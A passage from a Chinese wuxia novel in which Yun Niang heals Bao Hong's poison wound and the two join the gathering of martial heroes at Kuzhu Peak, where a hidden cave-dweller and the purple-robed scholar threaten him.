她扶着包宏走下了木床,命他面壁坐在地下,自己盘膝坐在包宏背后,口授了包宏一阵玄门吐纳引导口诀,然后徐徐伸出右掌,顶在包宏后背灵台穴上,默默运本身真气,只觉一股暖流,缓缓攻入包宏体内。

包宏也配合着云娘攻入的真力,依照她传授的口诀,凝神行功。两个时辰过后,右胸间所聚的阴寒之气,已逐渐散出体内经脉。阴寒毒气循经奇经八脉,奇冷难耐,这时桌上的烛光早已熄灭,漆黑无光的房间中,只听见包宏抖颤的牙齿发出得得之声,像是痛苦异常。功行一转,天色已经亮了。

云娘低声说道:“宏弟弟,现在你可以暂停行功,合上双目,任由我来用本身真力逼出你所中的阴寒毒气。不过,你千万要记住,不管如何痛苦,都要强行忍耐,在我行功疗伤之际布要讲话,不要思索什么,不管发生了什么大事,你都不要分散心神管它。”

包宏依言合上双目,强忍痛楚,接受着她的治疗,到了晌午之后,伤痛逐渐减轻。

一天过去了,包宏的伤势虽然大为好转,但云娘却因消耗真气过多,元气亏损很重,容颜已是非常憔悴。到了第二天的完善。

包宏体内的寒阴毒气,以大都被逼出体外,神情逐渐恢复。他在这一天夜里的时间中,除了有时自行行动帮助云娘替自己疗伤之外,还练习云娘口授他的玄门吐纳引导之术,获益匪浅。

到酉时之后,云娘替包宏完成了第三次治疗,徐徐的缩回右手,笑道:“现在你的伤势,已是大部痊愈,午夜过后,再作最后一次的治疗,迫出残余的寒阴毒气,就算大功告成了。现在我口中饥饿难当,你也该吃点儿东西,让我点燃蜡烛,叫店夥计送点饭菜来吃,休息一会再继续治疗。”

包宏听她说再作最后一次治疗,伤势就可完全好了,心中不禁大喜,笑道:“哇操,等我的伤势好了,明年元宵我们就可以一起去苦竹峰和天下群雄印证武学,夺取龙纹宝鼎,找到仇家,查明自己身世了。”

云娘听得一怔,心想:“我消耗尽本身真力为他疗伤,他连一句感谢的话都没有,一心要去寻找仇家,查明自己身世,真是太使人寒心了。”

然而——她没有回答他的话,缓缓的站起身子,走近桌前,摸着放置桌上的火石,扬手点燃蜡烛,顷刻间满房间被熊熊烛光照得通明。

包宏极为聪明,他见云姐姐不管自己所说的话,知道失礼,人家为我辛苦疗伤,我连一句感激的话都没有。於是他也从地下站起,走了过来,但目光一触到云娘脸上,登时惊得他啊呀一声呆坐桌前,说不出话来。

原来云娘一张晕红的嫩脸,此刻已变成了一片苍白,精神萎靡,倦容满面,他呆站了片刻,突然心头一酸,俊目蕴泪,幽幽的说道:“云姐姐,我所中的寒阴毒气,已蒙你全部迫出来了,人家完全恢复,不要再治疗了。”

他现在连那句哇操的口头禅也免了。

女人就是女人,几句话听得云娘心中大感欣慰,适才认为包宏使自己太过寒心,也已忘得一乾二净,关怀的一笑,说道:“那怎么行,如果不把那残余的寒阴毒气尽行迫出,日久难免再发。”

包宏道:“哇操,姐姐替我疗伤,累成这个样子,我心中有些不忍。”

云娘的心头好似淋了一层蜜,娇媚的一笑,说道:“我不要紧的,休息一两天就会複元,如果你不愿意接受我最后一次治疗,那我所有的心血都是白费。”

包宏一双乌黑圆方的眼珠注视着云姐姐,在目光中转了两转,徐徐地伸出双手,紧握着云娘一双玉腕,说不出话来。但万分感激之情,却尽在不言中……

云娘玉腕让他握了一阵,才挣脱开,说道:“看你像牛皮糖似的。”说完,转身走出了房门,去叫店夥计送饭菜去了。

她回房不久,店夥计即送来了饭菜,两人坐在烛光之下吃完饭。

※※※※※※

午夜过后,云娘又要开始替包宏作最后一次的疗伤。

包宏突然移近身躯,依偎在云娘怀中,颤抖着声音,道:“哇操,云姐姐,我看还是算了吧,这样你的身体太吃亏了,我实在有点不忍。”

云娘扶正他的身子,答道:“你伤势尚未全好,不宜激动或感伤,快些去坐在原来的地方,免得功亏一时,你要不听话,姐姐就不陪你去苦竹峰了。”

不知怎的,平日倔强的包宏,如今竟变得万分温顺,他强行控制住激动,感伤,依言坐在原地,闭目行功。云娘略休息一会,又盘膝坐在包宏背后,右手掌贴在他的背心上,凝神用真力助他治疗体内残余的寒阴毒气。

大约过了一个时辰,只见包宏额上,汗珠如雨水一般滚滚落下,渐渐的全身各处,也是汗若泉涌。就在这紧要的当口,突然听门外传来了两人吵闹之声。

接着“啪”的一声,像是一个人用掌打了另外一个人的耳光,紧随着吃了一脚踢开,人影闪处,江成手持长剑冲了进来。

包宏转面望去,见江成仗剑急奔而来,心神一分,正待出言相询,却听云娘急促的低声吩咐道:“快些闭上双目,镇定下来,照常行动,不要分散了心神……”

包宏经云娘轻声一喝,顿时收住激动心神,转脸面壁,重又凝神行功。

江成目观一个绝色女子盘膝坐在包宏身后,掌顶背心,像是在替他疗伤,心头不禁更加愤怒,冷笑一声,说道:“包兄真是艳福不浅,走了一个绝世美人,又来一个秀丽女子陪伴於你,太令人羡慕了。”

说完话,一跃上前,振腕一剑,直奔包宏的前胸点去。

他含愤出手,剑势有如迅雷奔电,猛快至极。

云娘顶在包宏背后灵台穴上的右手未动,左掌半屈,迎着剑势拂去,直待将要接触长剑之时,五指突然一伸,在江成握剑右手腕门之上点了一下。

这是云娘学自她恩师的一招点穴绝技,弹指点穴功夫。江成哪里料想得到,但觉握剑右腕一麻,不由自主的五指一松,长剑脱手向后飞了出去。

他猛一转身,正想捡回长剑,忽的一条灰影电射而入,一招飞钹撞钟,猛劈江成前胸。

江成一转身,让开一掌,施出黄莺谷主所传授绝世身法电掣星驰,欺到来人身前,右手一招朝泛南海,平推进去。

同时大声喝道:“你是什么人,竟敢伸手管下这场事。”

来人呵呵一笑,晃身避掌,答道:“老朽南天一燕余真,我倒不是管闲事,而是赶来拦阻你不要乱伤无辜,同时我要告诉你一件事情。”

包宏和云娘一听竟是南天一燕来了,心头同时一震,但两人都在运功疗伤,未便立时站起,向他行礼。

江成见来人是南天一燕,心中也是一震,他知道南天一燕武功已臻化境,自己决不是他的对手,忙藉此机会,停手不再抢攻,双掌让胸,和南天一燕相持对立,问道:“你何以知道姓包的是无辜,要告诉我什么事情?”

南天一燕道:“这里面的因因果果,老朽极为清楚,包宏自然是无辜的,岂能让你不明不白伤害於他。”顿了一顿,又道:“你以为你的师妹已经被摔死了么?”

江成面色突的变得淒然,答道:“从数十丈高的悬崖之上跳下去,岂有不粉身碎骨的?”

他们两人的一问一答,不由得使包宏和云娘两人又是大吃一惊,同时心里暗道:“怎么,如云玉女死了么?”

“她没有死,”南天一燕神色已转缓和,移步江成面前,继续往下说道:“不过却受了重伤,现今被人救返你们黄莺谷去了。”顿了一顿,又道:“有人在你们黄莺谷上苦竹峰书约天下英雄印证武学,争夺龙纹宝鼎,这件事情你可知晓。”

江成道:“我就是为这件事情,奉师命出来寻找师妹返回黄莺谷的,没想到她竟为姓包的所迷,积愤之下,跃落悬崖,以死抗拒。”

南天一燕幽幽的点了点头,说道:“她的确没有死,况明岁元宵距今已是不远,你赶快赶回黄莺谷去吧!”

江成疑惑的微皱双眉,问道:“老前辈的话,可是真的吗?”

南天一燕余真道:“你回去就知道了,骗你我有什么好处。”

江成一听,这话也对,跃身出了门外,消失不见。

南天一燕见江成人影消失,再回头看房中双双坐在地上的包宏和云娘,有茫然之感。今后这些年轻人在情之中,可能会掀起巨浪狂涛啊……但他却清楚的知道,云娘在运用自己的真力为包宏疗伤,这种疗伤之法最忌外来打扰,於是他徐徐退出,顺手为他们把房门关上。

过了约两顿饭的功夫,云娘已完成了为包宏最后的一次疗伤,两个人同时缓缓的从地上站了起来。包宏舒畅的伸了伸四肢,已感觉痛苦全消,寒阴剧毒已是完全迫出,云娘却面色惨白,面布汗珠,娇躯也有点摇摇欲坠。

他心头一震,赶忙伸出双手扶住云娘,急道:“姐姐为了救我,真力消耗已尽,成了这个样子,这叫我于心何安,我扶你上床休息休息吧!”

“不要紧的,坐坐就会好的。”她声音有些微弱,颤抖。但她却忍着,从怀中摸出丝巾,擦去脸上的汗珠,挣扎挣脱包宏的搀扶,移步桌前坐在凳上。

就在这时,房门呀一声开了,走进来南天一燕。包宏迎了上去,躬身一稽,说道:“哇操,哑巴看见娘,没得说了,蒙余老伯说退江成,感激之至。”

南天一燕慈和一笑,说道:“这算得了什么,何必言谢,贤侄的伤势完全好了么?”

包宏幽幽一笑,答道:“哇操,破灯笼,别点了,我的伤势倒是痊愈,但把云姐姐累成这个样子!”

云娘见南天一燕推门而入,早已离座,向他行了一礼,听包宏右提到自己,忙扬眉一笑,说道:“我已说过,不要紧的,休息一会就会好的。”

她目前当然不能说明夫妻一体,因为有南天一燕在呀。

南天一燕感激的一笑,说道:“姑娘不惜以本身真力为包贤侄疗伤,这不但他刻骨难忘,就是老朽也如同身受。”顿了一顿,转向包宏说道:“看来伤的不轻,是什么人对贤侄下此毒手?”

於是包宏把在小镇吃饭,突来少林寺的大和尚明悟,临去时暗运寒阴毒掌打伤自己的事情经过,向南天一燕说了一遍。

南天一燕长叹一声,说道:“这又是一场误会,这些时日来,我们一直在误会中啊。”

包宏,云娘同时一震,包宏迫不及待的问道:“哇操,冬天吃红矾,外冷内热,老伯,我都雾杀杀。”

南天一燕微微点头,坐在桌边,同时示意包宏和云娘也坐下,缓缓的说道:“在龙冈镇与贤侄分手后,奔走了不少的地方,虽历尽艰辛,但有了一件极大的收获。”

“哦……”包宏性子稍急,哦了一声,道:“哇操,什么收获?”

南天一燕目光电射,扫了房中一周,低声的道:“有一个人,据说还活着,没有死去。”

包宏急道:“谁?”

南天一燕道:“当年与文施女侠驰骋关外,号称关外三奇女的老三,翻天燕庐玉绮。”

“哦,是她老人家!”包宏惊讶的接下去又道:“哇操这回可是城楼上挑灯笼——高明,果真她老人家尚活在人间,那么杀害文施女侠的元凶究系何人,就不难找到了!”

“嗯………”南天一燕用鼻音答应一声,说道:“我也这样想,但她现在何处,尚无人知晓!”顿了一顿,又道:“所以明岁元宵苦竹峰比武,我们一定要赶去参加,说不定在天下群豪会聚之际,可以探出一点蛛丝马迹。”

已许久未开口说话的云娘,此时再也无法忍耐,插口道:“可是明岁元宵,距今尚有月余之久,这段时间我们应该做些什么事情来着。”

包宏忽的离座,挺然而立,朗声道:“哇操,这回我是秤分先生说春秋——一本正经,找处清静所在好好利用这月余时间,学会无上尊者老前辈所遗的九龙剑笈中的武术,以便用於苦竹峰上。”

南天一燕欣然答道:“很好,老朽还要去找我那挚友万里追风,邀他同去赴会……”顿了一顿,转向云娘问道:“云姑娘,你自己有何打算?”

云娘摇摇头,答道:“我没有别的打算,想陪伴宏弟弟学习九龙剑法,不过老前辈适才所说,这些时日来,我们与人争斗全是出於误会。只要翻天燕庐玉绮老前辈一出现,杀害关外三奇女,劫走少林寺龙纹宝鼎的掌门人等等之事,即可真相大白么?”

“嗯,”南天一燕点点头,断然答道:“我想是的。”语毕,人已离座,端起桌上一杯茶,一饮而尽,又道:“今晚的话,就此告一段落,明岁元宵我们在苦竹峰见面好了。”说罢,移步向房门外走去。包宏云娘躬身送出饭馆大门,才回房安歇。

※※※※※※

时如流水,月余光阴,转瞬即逝,云娘伴着包宏,在一处深山僻所,习完九龙剑法,双人并骑,来到点苍山的苦竹峰顶,当然他们也练习阴阳道这门内功。

这天人来到苦竹峰,正是正月十四日夜晚,明夜就是元宵佳节,天下群雄云集此峰,比武夺宝的日子。

他们双双隐伏在一株巨松的枝头上,籍明夜光华一面察看峰头地势,一面暗里窥视,想看看这个将龙纹宝鼎置於苦竹峰头,笺约天下英豪比武的人,究竟是谁?在他们想来,此人定然要提早把龙纹宝鼎携带峰上,觅得妥当地位放置。可是他们失望了。

两人冒着冬夜的寒冷,在巨松上埋伏了一夜,一无所获。到天快亮的时候,云娘才长长的叹了口气,目视包宏,说道:“眼看这峰头之下,就要展开一场腥风血雨的拼杀,但是现在,仍然这样的寂静安详?”

包宏俊面上泛起一阵苦笑,答道:“看来我们这一晚的心血白费了,何不下去找个民家歇息,晚上在上峰来。”

云娘点了点头,她飘身跃落树下,等包宏也跃落下来时,她忽然笑说:“峰下就是黄莺谷,要不要去看看你的娇姐姐?”

包宏摇摇头,说道:“她的伤势大概还没有好,再说天下英雄云集苦竹峰,黄莺谷的人不能没一番准备,我不想去扰他们。”顿了一顿,心中陡的一怔,问道:“云姐姐,你问这些做什么?”

云娘知道包宏已经察觉,自己的话有几分醋意,秀面上登时泛起羞涩,移步到他身边,笑着道:“宏弟,我有一件事一直想告诉你,你办那件事的时候,实在让人受不了,我想要你多娶几个。”

“哇操,你是要我娶某来整我?”

“当然,我们娘子军要联手大出击。”於是两人跃上坐骑,下了苦竹峰,找到了户民家休息……

到申时光景,两人把坐骑暂寄这户人家,又佩剑疾服的爬登苦竹峰。

这当儿,上峰的小径之上已有不少的武林人物,个个威武雄豪,都带兵刃,源源不绝的往峰上走去。包宏和云娘参与人群中,一步一步的往上走着。

蓦的,有人大喊道:“龙纹宝鼎已被人夺去,藏置在苦竹峰腰东面的一个石洞中,谁要去夺宝的,跟我来。”

包宏云娘听得同时一震,心想:“天色尚未黑下,相约的时辰未到,怎么就胆敢把龙纹宝鼎抢走了呢?”

两人想完,双双抬起头来,只见所有的登山豪杰都往东面腰峰奔去,但那大声喊话的人是个什么样子,谁都没有看到。


第三十八章

包宏和云娘挟在人群中,跑到东西腰峰腰,果见一个纵横约有两丈的圆形大洞,在那个洞口之外,已经站了不少的武林人物。但这些人的脸上,一个个都现出惶惑惊恐之色。包宏和云娘对这些人的面色颇为不解,并肩跨步,走进洞口,向洞内七八尺处看去,只见南天一燕,万里追风,武当三子,和少林寺的民觉,明悟等人都在。包宏和云娘双双向南天一燕行了礼,正要开口问他,相约时辰未到,何以龙纹宝鼎即遭人抢走?蓦的——从石洞中奔出一个人来,口吐鲜血,步法踉跄,脸色苍白,像是受了极重的内伤。

那人奔到武当三子老大清心子面前,噗的一声栽倒,拼全力说出:“师父,洞口有……”有什么尚未说出,大叫一声就此气绝死去。

清心子双目蕴泪,望了死去的徒儿一眼,淒然一叹,说道:“我这边折了三个弟子,使我心痛万分,我要以这条老命和洞中人拼了。”顿了一顿,转向站在右侧的无欲子,明灵子道:“二弟,三弟,我此番进入洞去,生死未蔔,若和我三个徒儿一样结果,武当掌门职务,交由二弟接管,将我尸体运返埋葬,但切记勿再来为我报仇,就是要为我们师徒报仇,也得要过二十年再说。”

无欲子,明灵子正要劝大师兄,万勿因一时难过气愤,涉险进洞。忽听有人说道:“老道长一派掌门,怎好亲自入洞探险,还是让小侄我进去试试,看洞中究竟是个什么三头六臂的人物。”

清心子在说话时,包宏一双俊目,已经看到在武当三子身后,已直挺挺的躺着两个人,再加上适才由洞中受伤逃出,立即死的那个年轻人,果然武当派中已经送了三条人命了。及至这人制止清心子入洞,有人自己愿一涉奇险。

包宏这才转向此人望去,这一望,不禁使他一震。原来这个竟是少林寺的护法弟子超尘。心想:“哇操,怎么这老秃驴也随他的师父来了么?”其实今日来赴约的人除了自己和云娘,以及少数的人外,其余的都带有门徒高手哩。这些人都环立在他们的师父或主人身后,不过包宏因匆匆奔来,没有注意而已。超尘向清心子说完话,轻身朝明觉大师合十一礼,说道:“弟子欲进洞一探究竟,祈掌门师伯下令!”

明觉白眉微微颤动了几下,沈声答道:“师伯准你进洞,但要小心。”超尘应了声:“是”一转身,大踏步往洞内走去。他进去之后,环立在洞口之人,个个神色紧张的望着洞内,期望超尘能毙了洞中怪人,大家好一涌而进,去搜寻那只龙纹宝鼎。一顿饭的功夫过去了。超尘仍毫无动静,大家正在疑惑不解。突觉一股威力极大的劲风,从洞内涌了出来,超尘口吐鲜血,卷在大风中,电射而出,越过众人头顶,直往峰脚落去。

明觉大师长眉一阵颤抖,从眼角滚落两颗老泪,正要拔步,准备亲自入洞,包宏陡的飘身,站立在明觉身前,说道:“哇操,老和尚,小和尚嗝屁啦,这可是叫花子死了蛇,没得完了。”明觉大师长眉刚掀,包宏接着又道:“哇操,别猴儿吃大蒜,不是味道。这回由小老子进去。”他话声刚落,南天一燕和云娘不约而同的抢到他面前,说道:“你不能涉此奇险!”包宏答道:“哇操,小老子福大,命大,命带桃花运,要娶三宫六院,会活到八十岁,不会这么快短命。”语毕——一拔背上的两叉剑,昂首阔步往洞中走去。

云娘双目含泪,跟在她身后,不住的喊:“宏弟弟,不可冒险,宏弟弟,不可冒险。”但包宏哪里肯听,一味往洞口走去。云娘无奈,只好站在洞口双臂暗运功力等着他,一旦他被洞中人奇厉掌风逼出,她想用双臂接住他。

时间一分一秒的过去,包宏冒险入洞,已经有一顿饭久的功夫没有反应。站在洞口的群雄,每个人的脸上,都现出极为紧张的神色。尤其是云娘,一张秀面时青时白,两双圆大的眼珠,蒙上一层薄薄的泪光,凝神注视着这漆黑无比,看去不知有多深多远的奇异石洞。她咬紧玉牙,暗自忖道:“再过半顿饭的时间,宏弟弟若不安然出洞,我也就顾不得许多了,我要施展勾魂笑声,把洞中之人活活逼死在洞内。”心念刚刚至此,忽的一股无比劲力,势若排山倒海般,从漆黑的深洞之内涌了出来。

包宏一个身子,就像断了线的纸鸟一样,掷在劲风中,电射而出,直往峰腰下一个数十丈高的悬崖落去……站在洞口守候着包宏反应的人,都是当今武林中顶尖的人物,武功造诣之深,大都已臻玄境。但都被这股强猛劲风,逼得两旁纷纷栽倒。武当三子带来的弟子中,有两名功力较差的,一个立足不住,被劲风震刮得与包宏的身子先后坠落崖下。

悲愤交集的云娘,眼看宏弟弟挟在劲风中飞出洞外,要想张臂去抱救他,但这股涌出来的劲风力道太猛。她双臂尚未及展开,一个玲珑娇躯已被劲力逼得向右侧倒去,与南天一燕余真,少林寺的明觉,明悟等人,跌成一堆。

足足过了半盏热茶的功夫,南天一燕才缓缓的从地上爬了起来,一看云娘,已独自站立在峰腰的悬崖之上,俯首注视着数十丈以下,崖底一片嶙峋怪石之上。

包宏被洞中人劈出无比劲力,震落悬崖,使她伤痛欲绝,她俯望崖底,双目中的泪水,就像断线珍珠,不停的纷纷落下,由于过度的伤痛,她已哭不出声来。

只是木然的望着崖下流泪……她想扑身而下,与宏弟弟双双陈尸崖底。但又想起了宏弟弟血仇未报,若就这样双双死去,岂不要让泉下的宏弟弟永远含恨。因此可见,她太爱包宏了。小镇客栈中两情奔放,悱恻缠绵,使她永生不能忘记,那是人生的极乐啊。虽然他们没有夫妻之名,但已有夫妻之实,一个少妇用真情与一个自己喜爱的异性,初次接受爱的洗礼,这会使她把当时的情景深深的刻在心头上,永远不会磨减的。

就因此,她这时的心,有如被万剑穿刺。她的灵魂,也好像从躯体中飞出,分裂两半。这一半向那一半说:“这是自己所喜爱的人啊,有情分在,焉能让他死去,而我独活着。”情爱与极乐是现实的,人应该抓住现实啊。这一刻有如半个世纪,使她全身起了不安的颤抖,她咬紧玉牙,她含着泪水,她不知应该如何是好……

蓦的,她那迷蒙的视线中,发现崖底的远处,有一个全身紫衣的人,直往躺在尖锐怪石上的包宏奔来。云娘一颗悲痛的心,陡然一震,说道:“不好,有人来劫他的尸体。”说话中,人已飘身,沿悬崖边一条小径,往崖下飞奔而去。

她的身法够快,但那奔来的紫衣人更快。她尚未落至崖底,紫衣人已到了包宏身边。他仰面一阵狂笑道:“包巨集啊,包巨集,我早已说过,咱们第三次见面,我就要杀了你,不管你现在是否已经死去,我都要割下你的头,以除我心头之恨啊。”

云娘一面奔跑,一面细听来的所说的话,心中暗道:“这人的声音好熟,像是在哪里听过?”但一时之间却又想不起来。陡的,她忆及在那荒山破庙,隐伏殿梁上,所听到的那怪异之声所说的话。不禁吃惊的大声喝道:“紫衣书生,你敢动包宏一毛一发,我就要你的命。”

也不知道这紫衣人是因为他两人相距尚远,没有听到,抑或是他虽然听到,但自觉武功高,没有把来人看在眼里,所以充耳不闻。只听他又是一阵狂笑,笑声中,卡的一声,拔出背上长剑,朝准包宏的头部猛的劈去。这当儿,云娘已奔落崖底,相距紫衣人不过两丈左右,一扬玉腕,寒光闪电,两枚喂毒燕尾镖直奔对方握剑右手。

紫衣人虽然耳闻有金风破空之声,知道人家已经来了暗器。但他倚仗着自己怀有罕世武功,视若无睹,只把左手袍袖向前一拂,果然,云娘打出去的两柄喂毒燕尾镖全被挡落地下。云娘知道紫衣书生不但诡谲狠毒,所怀武功也确是奇高莫测,自己若不施展师门绝学,可能无法将他制服。

然而——就在紫衣人挡落她的暗器之时,她已运气发出了那令人心惊胆怯的勾魂笑声。紫衣人长剑劈至相距包宏颌间,差五寸之际,云娘的笑声已起。

他心中一惊,右腕微偏,长剑劈在嶙峋怪石之上。但听的一声,一个饭碗粗细,突出若有尺许来高的坚石,被劈得成了两半,碎石纷飞,四方奔溅。

勾魂笑声先是如泣如诉,闻之使人心酸肠断,紫衣人功力虽高,也不自觉的流出了两行情泪,顺腮而下。蓦的,笑声转强,其音有如巨雷轰顶,又好似万马奔腾,顷刻之间,紫衣人已全身直流冷汗,毛骨悚然。不久笑声又变,由强转弱,有如一缕不断游丝,紧紧的束缚了紫衣人的一颗心,愈缚愈紧,使他呼吸都感到有些困难。最后笑声突的变得淫荡,有如思春的少妇,在尽情的散放春情,又似无数的全身赤裸的女子,在扭腰摇臀的狂舞。紫衣人被这笑声感染得神智有些晕迷,全身似被烈火一般烧着,难过至极。

所幸,紫衣人究竟是位当今怪杰,内力奇高,硬是已数十年所修定力,抗拒了她这任何人闻之都要送命的勾魂笑声。陡的一声厉啸,拔足飞奔离去。云娘见紫衣人厉啸而去,也就立时止住了笑声。但由于她这勾魂笑声,极损真力,她自己也是满头大汗,全身无力的坐在地上,过了许久才真力复原,扯出丝巾,擦去头上汗珠,站起身子,向包宏身边走去。到了他身边,蹲在地上,秀目关切至极的在他身上细细的查看,不禁微微的一震。

原来包宏全身完好,不但没有一点伤痕,而且呼吸正常,面上的颜色也与好人完全一样。只是额头上有了颗颗汗珠,这汗珠是被云娘那勾魂笑声所感染,而冒出来的。她大惑不解,喃喃自语说道:“从峰腰到这崖底,少说也有二十丈高,何况崖底尽是那些嶙峋的锋利怪石。宏弟弟在峰腰被奇异力道震落崖底,不但没有粉身碎骨,含恨死去,而且连一点伤也没有,事情委实太过奇怪了。”

话尤未了,突然在她身前,响起一阵娇滴滴的声音,说道:“这有什么奇怪呢,他从峰腰悬崖上掉落下来,是被我用双手接住的。他整个的身子跌在我软绵绵的双臂之上,不但不会死,当然也不会受伤?现在只是下晕过去,等会就会好的。”云娘一震,抬头一看,不知是什么时候,一个全身黑衣,双层黑纱蒙面的怪人,站在自己面前。

她陡的一挺身,从地上站起,劈头问道:“你是什么人,快说,否则你就休想出得这块崖底。”黑衣怪人冷冷一笑,说道:“毒玫瑰,果然名不虚传,那勾魂笑声,的确堪称武林一绝,若非有极深内力的人恐怕难以抗拒,我刚才若不似躲在崖下一个石洞中,避过你这场笑声,恐怕要陈尸就地了。不过,这些年来,毒玫瑰的真面目还没有人见到过,如今我却成了第一个见到毒玫瑰庐山真面目的人,真是太幸运了。我将要告诉天下英雄,毒玫瑰是个艳绝千古的年轻美人。”

云娘做梦也没有想到,在这悬崖之下,会有人隐藏着,听到笑声拆穿了自己的真面目啊。然而,没有等他话的语音全绝,就想一掌朝对方胸前劈去,让他死而灭口。

哪知黑衣怪人轻功快捷奇高,尚未等她出手,人已一晃娇躯,跃出三丈开外,冷冷的说道:“天色已经黑了下来,苦竹峰上的夺宝盛会即将开始,还是快把他救醒过来伴他上峰去寻找仇人,为他的母亲去报仇吧……”言下不胜淒然。

云娘一怔,暗道:“听她说话的语气和伤感之情,像是认识巨集弟弟,何况她还救了他一命,若非她用双手接住宏弟弟,不说粉身碎骨,至少也要跌成重伤。我爱宏弟弟,爱屋及乌,我当然不能把他的恩人杀了。”

于是她不再说什么,忙一转身,重新蹲在地上,伸手在包宏的腰际,徐徐的揉摸着哩。过了片刻,她转面望去,那黑衣人已不知在什么时候离开崖底,没有踪影了。再回过面低头看包宏时,已缓缓的醒转过来。他慢慢的睁开眼睛,说道:“哇操,云姐姐,我说过,我会活上八十岁,是不?”云娘被他逗得啼笑皆非,说道:“看你那幅模样,人家急都急死了,这次要不是那黑纱蒙面的怪人救了你,那你就只能活十八岁了。”

“哦!”包宏惊哦了一声,后又睁开眼睛,问道:“哇操,体育场上睡午觉,摸不着边,他是谁呀,姐姐你问了她的姓名没有?”

云娘坐在石头地上,伸出双手,把包宏上身扶起,靠在自己怀中,右手掌仍不住在他胸前抚揉着。一面笑答道:“这人不留姓名,我也不好过分逼问他,不过,我想将来咱们总会知道,到时报答人家仍不为晚。现在你不要说话,好好的躺着,好好休息一会,我们上苦竹峰去参加夺宝盛会,你那个仇人紫衣书生已经来到苦竹峰了!”

“哦!”包宏一怔,急道:“哇操,云姐姐,你看到了他,是个什么样子?”

云娘道:“我看到他,此人身材矮小,枯瘦如柴,身穿紫缎长袍,行动极为诡谲,刚才他乘你昏迷之际,想把你一剑杀死。同时大声说道,包巨集呀,包巨集,我早已说过,咱们第三次见面,我就要杀你了,不管你现在是否死去,我都要割下你的头,以除我心头之恨啊。宏弟弟,不是姐姐要在你面前卖功,若非我及时赶到,你只能做了他剑下之鬼啦。”

包宏听的俊目圆睁,霍的从云娘怀中站起,仰望苦竹峰顶,咬牙说道:“哇操,紫衣人,咱们是骑驴看唱本,走着瞧,云姐姐咱们上峰去。”说罢,探臂一把抓住云娘左手腕,悬崖小径,往苦竹峰奔去。这时已是酉未之际。月光像一个巨大的冰盆,高挂在朗朗碧空,点苍山中的景色,像是蒙上了一层迷蒙的薄雾。

两人携手狂奔,捷如流矢,就在快要到苦竹峰顶之际,云娘突然想起一事,转面问道:“宏弟弟,你刚才进入那峰腰石洞中,到底看到了什么没有,怎么会被一股劲风逼出来的。”

包宏道:“哇操,说起来还真邪门,时洞之中漆黑无比,阴风惨惨,鬼气森森,我摸索着前进,足足走了一顿饭的时间,不但没有看到丝毫人影,且未听到奇异声音。右走了大概有半顿饭的时间,忽听洞的深处,传来一声怪叫,声若夜鸟哀鸣,闻之令人毛骨悚然。就在那阵怪叫之声,将要结尾之际,忽的一股奇猛无比的劲力,由洞的深处涌了出来。当时我只觉得自己的身子,被这股劲力卷起,像是在半空中飞行,有些飘飘然,不久我就失去了知觉,以后事情如何,我就一点都不知道了。”

说话间,两人已奔上了峰顶,举目一望,只见峰顶一块久许大平地中,站满了武林中各色各样的人。包宏和云娘,正要往那人群中走去,身后忽的响起一个深沈的声音,喊道:“前面走的可是包宏贤侄和云娘么?你们等会再过去,我有话说。”包宏,云娘双双转身,见发话人是南天一燕。

包宏暗道:“哇操,胡子贴膏药,毛病倒不少。”但嘴里却答道:“哇操正是小侄与云姐姐,老伯有什么教言吩咐。”

南天一燕,目凝神光,望了包宏一阵,然后微皱双眉,不解的问道:“贤侄被洞中人猛烈的掌风打出石洞,坠落崖底,没有受到危险么?”

包宏摇摇头,笑道:“哇操,酱油调豆腐,不用言,我被一位全身黑衣,黑纱蒙面的人双手托住,故不但没有血溅怪石,碎尸崖底,且连一点伤部都没有,只不过人吓得昏死过去,哇操,承云姐姐在胸前一阵推拿,把我救醒了。”

“啊,啊!”南天一燕欣慰的啊了两声,说道:“原来这样,贤侄,贤侄,你可知道那洞中之人是谁吗?”

包宏又摇了摇头,说道:“哇操,不知道,铁拐李的葫芦,神秘兮兮。”

南天一燕神色突然变得紧张,眼凝神光向四周扫了一下,压低声音说道:“不但探出了一些眉目,而且我还和这人说了话呢。”

“哦!”云娘未待他说下去,哦了一声,说道:“难道老伯伯也进石洞去过了,那人是谁?和他说了些什么?”

南天一燕道:“当然我已进过石洞,真是连我做梦都未想到,那人竟是二十年前在青城山遭天下群雄围攻而死里逃生的关外三奇女中的老三,翻天燕庐玉绮。”

“哦!”包宏云娘同时惊呼了一声,没有立时答话。

南天一燕又道:“她在这洞中苦练了二十年,学成了绝技,目前就是要替你母亲报仇。”

包宏面露惊喜交加之容,说道:“哇操,这么说来,文施女侠确是我母亲了?我那杀母仇人究竟是谁,她老人家当然知道罗。”

南天一燕点点头道:“不但知道,而且二十年前群雄在青城山围攻关外三奇女的来龙去脉,和你们悬剑熊家堡里的恩怨纠结,她更是知道得格外详细,她算定了你那杀母仇人,今天晚上一定要来苦竹峰,参与这场盛会,所以,她也准备今晚出洞,和那杀害你母亲的人,拼个死活。”顿了一顿,又道:“只要她一出来,事情就可以水落石出,谁是凶手,谁是主谋,立刻分晓。”

语毕,挥手示意,命包宏和云娘随他往人群中去,以等待那笺约天下英雄来苦竹峰比武夺宝的神秘人物出现。三人走了约三四丈,包宏忽又问道:“哇操,余老伯,以你老人家的猜测,这笺约比武的人是谁?”

南天一燕道:“这很难说,可能是那个神秘紫衣书生,也可能是在石洞中潜修了二十年的翻天燕庐玉绮,总之不论是谁,今晚苦竹峰上这台戏是够热闹的了。”

他话刚说完,云娘接道:“像这样的热闹场面,还很难看到,人说武功一道,没有止境,我倒要看看,身怀绝技的武林高人究竟是什么令人吐舌的奇绝本领。”

三人说话之间,已经到了那块平地,加入人群中。包宏扫目一望,只见紫衣书生,和他的师弟紫衣秀士林汉文还有胭脂穀主胭脂神婆夏雪馨和她的女弟子仇妙香全都来了。包宏一见仇妙香,登时想起在仇家庄时,仇怀义夫妇托他寻找女儿之事。于是,他赶忙伸手在衣袋中摸了摸那块双心玉锁,见仍在袋中,没有丢失,心中暗喜,正要跨步,走向仇妙香,身后忽然响起一个娇滴滴的声音,喊道:“包相公,你来了。”

包宏转身一看,只见是珊瑚岛的苗梅英,望着自己露出一种久别重逢的喜极之笑。在她的身后,站着她的母亲素女教主苗蕙仙,和她的门人弟子十余人。

包宏见是苗梅英和她的母亲,心中微然一震,赶忙上前拱手一礼,叫道:“苗老前辈。”然后目光转向苗梅英,笑道:“哇操,梅英姑娘,你也果真来了,近来好吗?”

苗梅英含笑答道:“我很好,你呢?”说话中,轻移莲步走近包宏,又道:“我知道你今夜一定会来苦竹峰赴会,我怎么不来呢?”
Sample Text